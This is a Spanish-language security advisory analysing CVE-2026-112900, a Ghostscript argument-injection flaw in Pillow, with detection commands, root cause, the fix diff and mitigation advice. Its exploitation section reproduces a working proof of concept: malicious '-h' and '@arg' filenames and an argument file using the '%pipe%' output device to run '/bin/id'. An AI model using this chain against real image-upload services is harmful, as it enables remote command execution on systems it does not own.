Neutron, nuestro motor de IA, obtuvo un 97.1% en el benchmark CyberGym de UC Berkeley. Más información

Análisis a fondo

Análisis a fondo

RCE por inyección de argumentos Ghostscript en Pillow (CVE-2026-112900)

Pillow 2.6.0 a 12.3.0 pasa a Ghostscript sin sanear un nombre de archivo EPS o PostScript controlado por el atacante, permitiendo inyección de argumentos y ejecución de comandos; corregido en 13.0.0.

Resumen

  • CVE-2026-112900 es una inyección de argumentos en PIL.EpsImagePlugin.Ghostscript(). Pillow pasa sin comprobar el nombre de archivo EPS o PostScript controlado por el llamante en la posición -f de Ghostscript, de modo que un nombre que empiece por - o @ se interpreta como opción o token de archivo de argumentos en lugar de como nombre de archivo.
  • La revisión del aviso de GitHub lo califica como crítico (CVSS v4.0 9.2). El aviso de Pillow lo califica como moderado porque el atacante debe controlar el nombre del archivo.
  • Están afectadas todas las versiones de Pillow desde 2.6.0 (octubre de 2014) hasta 12.3.0 inclusive. La única versión corregida es 13.0.0, publicada el 16 de octubre de 2026.
  • El informante, Chanu Kang, de CysecLab en KAIST, verificó la ejecución de comandos (se ejecuta id) en Pillow 12.3.0 con Ghostscript 10.02.1 y 10.07.1, bajo la configuración predeterminada -dSAFER de Pillow; la prueba de concepto está publicada en el aviso.
  • El registro de CISA señala que no hay explotación conocida y no se han comunicado ataques reales.
  • Actualice a Pillow 13.0.0 en todos los entornos, reconstruya las imágenes que fijan una copia anterior y mantenga el binario gs fuera de cualquier host que abra imágenes no confiables.

¿Estoy afectado?

Está afectado si se cumplen todas estas condiciones:

  • Ejecuta Pillow 2.6.0 a 12.3.0 en cualquier lugar que procese imágenes: un endpoint de carga web, un servicio de avatares o miniaturas, un pipeline de documentos o PDF, o un paso de preprocesamiento de aprendizaje automático.
  • Su código llama a Image.open() (o Image.open(...).load()) sobre archivos EPS o PostScript (PS), o sobre un directorio de cargas completo donde podría haber un archivo de esos formatos, y la persona que proporcionó el archivo puede influir en su nombre. Los objetivos realistas son los endpoints de carga que conservan, derivan o construyen el nombre almacenado a partir de la entrada del usuario.
  • El binario de Ghostscript (gs) está instalado en ese host, porque Pillow lo ejecuta como proceso externo para renderizar EPS y PS.
Software Versiones afectadas Versión corregida
Pillow (paquete PyPI pillow) De 2.6.0 a 12.3.0, todas las versiones desde octubre de 2014 13.0.0 (16 de octubre de 2026)
Adaptaciones a Pillow 12.x no existen migrar a 13.0.0

Compruebe lo que está instalado en los entornos que gestionan cargas y en las imágenes de contenedor:

python -m pip show pillow | grep -E '^(Name|Version)'      # Name: pillow, Version: 12.3.0 means affected
python -c "import PIL; print(PIL.__version__)"
grep -inE 'pillow' requirements*.txt Pipfile.lock pyproject.toml poetry.lock 2>/dev/null  # any pillow line: requirements, PEP 621 or Poetry pyproject, lockfiles
docker run --rm your-image python -m pip show pillow | grep Version
command -v gs && gs --version                              # Ghostscript presence on the image host

El contenido PostScript del archivo no importa para este fallo: el desencadenante es el nombre, y un archivo EPS o PS completamente inocuo sigue provocando la inyección si el atacante influye en su nombre.

Pillow se descarga unas 143.4 millones de veces por semana en PyPI, por lo que una gran proporción de las imágenes de compilación y servicios Python podría contener una versión afectada.

¿Cómo lo corrijo?

Actualice a Pillow 13.0.0 y reconstruya todo lo que incluya una copia anterior:

python -m pip install --upgrade "Pillow==13.0.0"

Después reconstruya las imágenes de contenedor y las imágenes base que contengan un Pillow anterior, así como cualquier wheel propio que lo incluya, porque actualizar el requisito no modifica lo que ya está incorporado en una imagen. Tenga en cuenta que 13.0.0 deja de admitir Python 3.10, por lo que los entornos que aún utilizan 3.10 necesitan primero Python 3.11 o posterior.

Si no puede actualizar hoy, dos medidas reducen la exposición, con límites claros:

  • Elimine el binario gs de los hosts que abran imágenes no confiables. Sin Ghostscript, Pillow no puede renderizar EPS ni PS, por lo que la ruta de código vulnerable nunca se ejecuta. Esto cierra el problema, pero también desactiva el procesamiento de EPS y PS, algo aceptable para la mayoría de los servicios.
  • Nunca pase a Image.open() un nombre de archivo EPS o PS en el que pueda influir un atacante. Genere sus propios nombres almacenados (un UUID o una clave de base de datos) durante la carga, o copie el archivo a una ruta elegida por el servidor antes de abrirlo. Esto elimina la condición previa del ataque, pero depende de que todas las rutas de código cumplan la regla; por eso, la corrección debe estar en Pillow.

¿Cuál es la causa raíz?

Pillow construye una línea de comandos de Ghostscript utilizando tal cual el nombre de archivo controlado por el llamante. Así, un nombre que Ghostscript trata de forma especial (una opción que empieza por - o un token de archivo de argumentos que empieza por @) se interpreta como tal.

Cuando Pillow renderiza un archivo EPS o PostScript (ambos formatos son gestionados por EpsImagePlugin), Ghostscript() en src/PIL/EpsImagePlugin.py construye el comando y lanza el subproceso. El código vulnerable, citado del aviso:

infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    # ... size and resolution options ...
    "-dSAFER",                            # default sandbox; does NOT stop this injection
    "-sDEVICE={device}",
    "-sOutputFile={outfile}",
    "-c",
    "...",
    "-f",
    infile,                               # injected here: no check for a leading "-" (or "--") or "@"
    "-c",
    "showpage",
]
subprocess.check_call(command, ...)

fp.name es el nombre con el que se abrió el archivo, incluido uno elegido por quien lo cargó. Si el objeto de archivo no tiene nombre en disco, la rama else crea una ruta segura con tempfile.mkstemp(). Por eso, solo es vulnerable la primera rama.

El valor infile se coloca directamente después de -f en la lista de argumentos. No hay normalización ni comprobación de los dos prefijos que el analizador de argumentos de Ghostscript trata de forma especial.

Ghostscript interpreta un - inicial (incluida la forma -- que menciona el aviso) como una opción, y un @ inicial como un token de archivo de argumentos: @arg le indica que lea argumentos adicionales de línea de comandos del archivo llamado arg. El sandbox -dSAFER restringe lo que puede hacer PostScript, no cómo se interpreta la línea de comandos, por lo que no interviene.

¿Cómo se explota?

El exploit es el nombre del archivo. Si se llama -h, Image.open() lo convierte en gs ... -f -h. Si se llama @arg, Ghostscript lee más argumentos del archivo arg del atacante.

La prueba de concepto completa del informante está en el aviso; aquí se reduce a las partes que explican el error. El paso de inyección de argumentos solo necesita un nombre de archivo:

name = "-h"                      # the attacker's chosen filename
with open(name, "wb") as f:
    f.write(EPS)                 # a completely benign EPS document
im = Image.open(name)
im.load()                        # Ghostscript runs with "-f -h" and prints its help

Un archivo llamado -h se convierte en gs ... -f -h, y Ghostscript imprime su texto de ayuda en lugar de renderizar: evidencia de que el nombre llegó al analizador de argumentos. Encadenarlo con ejecución de comandos requiere la forma @ y un segundo archivo también controlado por el atacante:

name = "@arg"                    # Ghostscript reads its arguments from the file "arg"
with open(name, "wb") as f:
    f.write(EPS)
im = Image.open(name)
im.load()

El archivo arg contiene argumentos de Ghostscript elegidos por el atacante:

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

El nombre @arg hace que Ghostscript lea argumentos adicionales de arg y los añada a su línea de comandos. El dispositivo de salida %pipe% hace que Ghostscript ejecute /bin/id y escriba su salida renderizada en ese proceso, por lo que se ejecuta el comando. La línea uid= que imprime id demuestra la ejecución.

El informante verificó la ejecución de id bajo la invocación predeterminada de Pillow (-dSAFER activado) en Pillow 12.3.0 con Ghostscript 10.02.1 y de nuevo con Ghostscript 10.07.1.

Un simple -h siempre funciona como inyección de un solo argumento; la forma de RCE requiere que el atacante controle también el contenido del archivo de texto referenciado, lo que en un endpoint de carga significa un segundo archivo cargado.

¿Cómo se desarrolla el ataque?

La cadena va desde una carga cuyo nombre controla el atacante hasta un comando de shell ejecutado como el usuario del servicio de imágenes.

flowchart LR A["El atacante carga un EPS inocuo
llamado @arg y un segundo archivo arg"] --> B["Image.open() llega a
EpsImagePlugin.Ghostscript()"] B --> C["Lista de comandos construida con
-f seguido del nombre sin procesar"] C --> D["Ghostscript interpreta @arg
como token de archivo de argumentos"] D --> E["Los argumentos del segundo archivo
del atacante se añaden al comando"] E --> F["%pipe% ejecuta el comando
como el usuario del servicio"]

En forma de texto:

  1. El atacante carga un archivo EPS inocuo llamado @arg y un segundo archivo llamado arg.
  2. Image.open() llega a EpsImagePlugin.Ghostscript(), que coloca el nombre sin procesar justo después de -f.
  3. Ghostscript interpreta @arg como un token de archivo de argumentos y añade los argumentos de arg a su línea de comandos.
  4. El dispositivo de salida %pipe% inyectado ejecuta el comando del atacante como el usuario del servicio.

¿Qué puede hacer un atacante?

Un atacante que controle un nombre de archivo que llegue a Image.open() para un archivo EPS o PS en un host con gs instalado puede:

  • Inyectar cualquier argumento individual de línea de comandos de Ghostscript, lo que siempre funciona y puede cambiar el comportamiento de renderizado, redirigir la salida o provocar la caída del proceso.
  • Lograr ejecución de comandos arbitrarios con los privilegios del proceso Python si también controla el contenido de un segundo archivo que referencia mediante la forma @name. El informante lo demostró ejecutando id.

El aviso y su PoC establecen cuatro condiciones:

  • Ninguna autenticación aparte de la que exija la aplicación para aceptar un archivo.
  • Un nombre almacenado que conserve un - o @ inicial elegido por el atacante.
  • gs presente en el host.
  • Para ejecutar comandos, en lugar de solo inyectar argumentos, un segundo archivo controlado por el atacante.

El impacto no depende del contenido PostScript, de modo que analizar las cargas en busca de contenido EPS malicioso no lo resuelve.

¿Por qué funciona la corrección?

La corrección, commit a2c363141 (pull request #10090, integrada el 1 de octubre de 2026), normaliza la ruta antes de que llegue a la lista de argumentos:

     infile_temp = None
     if hasattr(fp, "name") and os.path.exists(fp.name):
-        infile = fp.name
+        # Make the path absolute so that a filename beginning with "-" or "@"
+        # can never be interpreted by Ghostscript's argument parser
+        # as an option or an @-file token
+        infile = os.path.abspath(fp.name)
     else:
         in_fd, infile_temp = tempfile.mkstemp()

os.path.abspath() devuelve una ruta que empieza por un separador de ruta (o una letra de unidad en Windows), por lo que la cadena entregada a Ghostscript ya no puede comenzar por - ni @, y ambas formas especiales se convierten en nombres de archivo normales. La rama tempfile ya era segura.

La corrección es completa para la posición -f que contenía el error y añade una prueba de regresión (test_filename_not_parsed_as_ghostscript_argument) que renderiza un archivo llamado -h y comprueba que la imagen se decodifica en lugar de aparecer el texto de ayuda.

¿Cómo compruebo si he sufrido una intrusión?

No se han publicado indicadores de compromiso para este fallo y el registro de CISA para el CVE indica que no hay explotación. Hasta que eso cambie, busque las señales generales que dejaría el fallo:

  • Procesos Ghostscript (gs) en hosts cuyo único trabajo con imágenes se realiza mediante Pillow.
  • Nombres de archivo que comiencen por - o @ en el almacenamiento de cargas.
  • Actividad de archivos o conexiones salientes inesperadas de la cuenta del servicio de imágenes coincidiendo con solicitudes de procesamiento.

Si encuentra un nombre de ese tipo anterior a su actualización, trate el host como potencialmente comprometido y rote todas las credenciales, tokens y secretos accesibles desde él.

Cronología

  • 2026-10-01: Pillow integra la corrección, commit a2c363141, que transforma el nombre de entrada EPS en una ruta absoluta.
  • 2026-10-16: Se publica Pillow 13.0.0 con la corrección y una prueba de regresión.
  • 2026-10-21: Se publican el aviso GHSA-w889-685w-c8fh y el registro CVE-2026-112900, con la prueba de concepto y la ejecución de comandos verificada.
  • 2026-10-26: este artículo.

Preguntas frecuentes

¿Necesito tener Ghostscript instalado para estar afectado?

Sí, para este fallo. Pillow invoca Ghostscript cuando renderiza un archivo EPS o PostScript (PS), por lo que un host sin el binario gs nunca llega a la construcción vulnerable del comando en ninguno de los dos formatos. Eliminar gs cierra esta exposición a costa de perder compatibilidad con EPS y PS.

¿Me protege la configuración -dSAFER de Pillow?

No. La PoC de ejecución de comandos del informante se reproduce bajo la invocación predeterminada de Pillow, que incluye -dSAFER, con Ghostscript 10.02.1 y 10.07.1. La inyección ocurre durante la interpretación de la línea de comandos, antes de que el sandbox controle lo que puede hacer el documento.

¿El peligro aquí es una imagen EPS maliciosa?

No para este CVE. El fallo está en el nombre del archivo, no en el contenido PostScript; por eso, el aviso lo distingue de las recomendaciones documentadas de Pillow para tratar con cuidado el contenido EPS no confiable. Los errores de imágenes relacionados con el contenido son problemas independientes, y la misma versión 13.0.0 corrige varios, incluido el desbordamiento del heap de FlashPix CVE-2026-112398.

¿Por qué GitHub lo califica como crítico con 9.2 mientras Pillow dice moderado?

La revisión del aviso de GitHub puntúa con CVSS v4.0 9.2 el peor caso realista: un endpoint de carga que conserva nombres elegidos por el atacante en un host con Ghostscript. La página del aviso de Pillow lo califica como moderado porque el ataque exige influir en el nombre, una condición que no existe en todos los despliegues. Las calificaciones reflejan sus fuentes. Su exposición real depende de si la gestión de cargas conserva nombres elegidos por el atacante.

¿La actualización puede romper mi entorno Python 3.10?

Sí: Pillow 13.0.0 deja de admitir Python 3.10, por lo que esos entornos necesitan primero Python 3.11 o posterior. No hay adaptación de esta corrección a 12.x, de modo que los despliegues Python 3.10 deben cambiar de versión de Python o, hasta hacerlo, eliminar el binario gs y dejar de pasar nombres influidos por el atacante a Image.open().

¿Qué otros fallos corrige Pillow 13.0.0?

Son fallos independientes con condiciones diferentes, todos cerrados por la misma versión: CVE-2026-112398 (desbordamiento del heap en mosaicos JPEG de FlashPix), CVE-2026-112393 (desbordamiento al guardar TIFF en memoria, presente desde 2013 y con prueba de concepto pública) y CVE-2026-112403 (desbordamiento en miniaturas JPEG sin pérdida). Actualizar a 13.0.0 resuelve todo el conjunto a la vez.

¿Dónde sigue fijado Pillow en una versión anterior a 13.0.0?

Escanee sus repositorios, imágenes de contenedor y servicios expuestos a Internet con Ostorlab para identificar todos los despliegues que aún fijan Pillow por debajo de 13.0.0 y cada host donde gs convive con una ruta de carga no confiable.

Referencias

  • GHSA-w889-685w-c8fh, aviso de Pillow con la causa raíz, la PoC (poc.py, poc-rce.py y el archivo arg) y la RCE verificada, publicado el 21 de octubre de 2026, calificado como moderado en la página del proveedor y crítico en la revisión del aviso de GitHub: https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh (consultado el 26 de octubre de 2026)
  • Registro CVE-2026-112900, CVSS v4.0 9.2 según GitHub, CWE-78 y CWE-88, CISA ADP indicando ausencia de explotación: https://cveawg.mitre.org/api/cve/CVE-2026-112900 (consultado el 26 de octubre de 2026)
  • Commit de corrección a2c363141, «Transformar el nombre del archivo EPS en una ruta absoluta antes de invocar Ghostscript», PR #10090: https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9 (consultado el 26 de octubre de 2026)
  • Versión Pillow 13.0.0, 16 de octubre de 2026, que abandona Python 3.10 y corrige los fallos de imágenes complementarios: https://github.com/python-pillow/Pillow/releases/tag/13.0.0 (consultado el 26 de octubre de 2026)
  • Avisos complementarios de la misma versión, CVE-2026-112398 FlashPix (https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h), CVE-2026-112393 TIFF (https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf) y CVE-2026-112403 miniatura JPEG (https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782) (consultado el 26 de octubre de 2026)
  • Estadísticas de descargas de pillow en PyPI, unas 143.4 millones por semana: https://pypistats.org/api/packages/pillow/recent (consultado el 26 de octubre de 2026)
  • The Hacker News sobre el fallo y el conjunto de correcciones de Pillow, 23 de octubre de 2026: https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html (consultado el 26 de octubre de 2026)